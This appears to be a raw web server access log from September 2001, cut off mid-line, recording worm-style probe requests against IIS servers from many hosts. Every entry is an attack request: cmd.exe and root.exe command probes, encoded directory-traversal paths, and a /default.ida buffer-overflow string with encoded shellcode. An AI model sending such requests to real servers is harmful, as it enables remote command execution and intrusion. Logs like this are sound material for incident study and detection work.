16:06:21: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:06:21: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:06:21: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:06:21: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:06:21: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:06:21: dhcp33.cs.columbia.edu [128.59.19.233] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010918 16:09:39: mbntsrvhhmi1.Princeton.EDU [128.112.113.190] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 16:09:56: mbntsrvhhmi1.Princeton.EDU [128.112.113.190] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 16:09:56: mbntsrvhhmi1.Princeton.EDU [128.112.113.190] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:09:56: mbntsrvhhmi1.Princeton.EDU [128.112.113.190] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:09:59: mbntsrvhhmi1.Princeton.EDU [128.112.113.190] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:09:59: mbntsrvhhmi1.Princeton.EDU [128.112.113.190] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:09:59: mbntsrvhhmi1.Princeton.EDU [128.112.113.190] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:09:59: mbntsrvhhmi1.Princeton.EDU [128.112.113.190] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:09:59: mbntsrvhhmi1.Princeton.EDU [128.112.113.190] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:09:59: mbntsrvhhmi1.Princeton.EDU [128.112.113.190] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:09:59: mbntsrvhhmi1.Princeton.EDU [128.112.113.190] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:09:59: mbntsrvhhmi1.Princeton.EDU [128.112.113.190] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:09:59: mbntsrvhhmi1.Princeton.EDU [128.112.113.190] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:09:59: mbntsrvhhmi1.Princeton.EDU [128.112.113.190] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:09:59: mbntsrvhhmi1.Princeton.EDU [128.112.113.190] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:10:00: mbntsrvhhmi1.Princeton.EDU [128.112.113.190] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:10:00: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 16:12:04: tfh-office.phys.columbia.edu [128.59.132.194] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 16:12:04: tfh-office.phys.columbia.edu [128.59.132.194] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:12:04: tfh-office.phys.columbia.edu [128.59.132.194] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:12:04: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:12:04: tfh-office.phys.columbia.edu [128.59.132.194] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:12:04: tfh-office.phys.columbia.edu [128.59.132.194] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:12:04: tfh-office.phys.columbia.edu [128.59.132.194] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:12:04: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:12:04: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:12:04: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:12:04: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:12:04: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:12:04: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:12:04: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:12:05: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:12:05: ulex.FSL.ORST.EDU [128.193.112.25] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 16:13:38: ulex.FSL.ORST.EDU [128.193.112.25] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 16:13:38: ulex.FSL.ORST.EDU [128.193.112.25] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:13:39: ulex.FSL.ORST.EDU [128.193.112.25] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:13:39: ulex.FSL.ORST.EDU [128.193.112.25] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:13:39: ulex.FSL.ORST.EDU [128.193.112.25] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:13:40: ulex.FSL.ORST.EDU [128.193.112.25] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:13:40: ulex.FSL.ORST.EDU [128.193.112.25] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:13:40: ulex.FSL.ORST.EDU [128.193.112.25] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:13:40: ulex.FSL.ORST.EDU [128.193.112.25] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:13:41: ulex.FSL.ORST.EDU [128.193.112.25] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:13:41: ulex.FSL.ORST.EDU [128.193.112.25] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:13:41: ulex.FSL.ORST.EDU [128.193.112.25] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:13:41: ulex.FSL.ORST.EDU [128.193.112.25] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:13:42: ulex.FSL.ORST.EDU [128.193.112.25] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:13:42: ulex.FSL.ORST.EDU [128.193.112.25] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:13:42: PPI283.UNI-MUENSTER.DE [128.176.198.136] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 16:17:04: PPI283.UNI-MUENSTER.DE [128.176.198.136] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 16:17:04: PPI283.UNI-MUENSTER.DE [128.176.198.136] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:17:04: PPI283.UNI-MUENSTER.DE [128.176.198.136] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:17:05: PPI283.UNI-MUENSTER.DE [128.176.198.136] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:17:05: PPI283.UNI-MUENSTER.DE [128.176.198.136] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:17:05: PPI283.UNI-MUENSTER.DE [128.176.198.136] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:17:06: PPI283.UNI-MUENSTER.DE [128.176.198.136] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:17:06: PPI283.UNI-MUENSTER.DE [128.176.198.136] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:17:06: PPI283.UNI-MUENSTER.DE [128.176.198.136] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:17:07: PPI283.UNI-MUENSTER.DE [128.176.198.136] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:17:07: PPI283.UNI-MUENSTER.DE [128.176.198.136] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:17:08: PPI283.UNI-MUENSTER.DE [128.176.198.136] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:17:08: PPI283.UNI-MUENSTER.DE [128.176.198.136] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:17:08: PPI283.UNI-MUENSTER.DE [128.176.198.136] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:17:09: PPI283.UNI-MUENSTER.DE [128.176.198.136] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:17:09: dialup-cc2-7.cc.columbia.edu [128.59.58.112] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 16:18:10: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 16:18:12: sql-server.jrn.columbia.edu [128.59.96.106] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 16:18:12: sql-server.jrn.columbia.edu [128.59.96.106] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:18:12: sql-server.jrn.columbia.edu [128.59.96.106] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:18:12: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:18:12: sql-server.jrn.columbia.edu [128.59.96.106] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:18:12: sql-server.jrn.columbia.edu [128.59.96.106] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:18:12: sql-server.jrn.columbia.edu [128.59.96.106] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:18:12: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:18:12: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:18:12: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:18:12: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:18:12: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:18:12: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:18:13: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:18:13: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:18:13: dialup-cc2-7.cc.columbia.edu [128.59.58.112] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 16:18:15: dialup-cc2-7.cc.columbia.edu [128.59.58.112] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:18:20: dialup-cc2-7.cc.columbia.edu [128.59.58.112] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:18:25: dialup-cc2-7.cc.columbia.edu [128.59.58.112] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:18:31: dialup-cc2-7.cc.columbia.edu [128.59.58.112] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:18:36: dialup-cc2-7.cc.columbia.edu [128.59.58.112] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:18:40: dialup-cc2-7.cc.columbia.edu [128.59.58.112] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:18:46: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010918 16:19:55: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 16:22:04: sql-server.jrn.columbia.edu [128.59.96.106] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 16:22:04: sql-server.jrn.columbia.edu [128.59.96.106] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:22:04: sql-server.jrn.columbia.edu [128.59.96.106] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:22:04: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:22:04: sql-server.jrn.columbia.edu [128.59.96.106] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:22:04: sql-server.jrn.columbia.edu [128.59.96.106] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:22:04: sql-server.jrn.columbia.edu [128.59.96.106] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:22:04: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:22:04: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:22:04: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:22:04: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:22:04: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:22:04: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:22:04: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:22:05: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:22:05: [128.134.249.139] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010918 16:24:13: dynamic-33-8.dyn.columbia.edu [128.59.33.8] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010918 16:25:05: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010918 16:26:31: dialup-cc2-7.cc.columbia.edu [128.59.58.112] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 16:26:40: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 16:26:50: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 16:26:50: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:26:50: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:26:50: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:26:50: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:26:50: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:26:50: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:26:50: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:26:51: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:26:51: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:26:51: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:26:51: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:26:51: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:26:51: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:26:51: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:26:51: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 16:27:53: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 16:27:53: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:27:53: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:27:53: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:27:53: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:27:53: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:27:53: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:27:53: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:27:54: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:27:54: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:27:54: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:27:54: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:27:54: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:27:54: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:27:54: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:27:54: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010918 16:27:55: [209.208.184.5] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010918 16:29:01: [128.121.246.52] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 16:29:43: [128.121.246.52] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 16:30:01: [128.121.246.52] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:30:23: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 16:30:23: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 16:30:23: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:30:23: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:30:23: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:30:23: [128.121.246.52] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:30:41: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:30:41: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:30:41: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:30:41: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:30:41: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:30:41: [128.121.246.52] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir 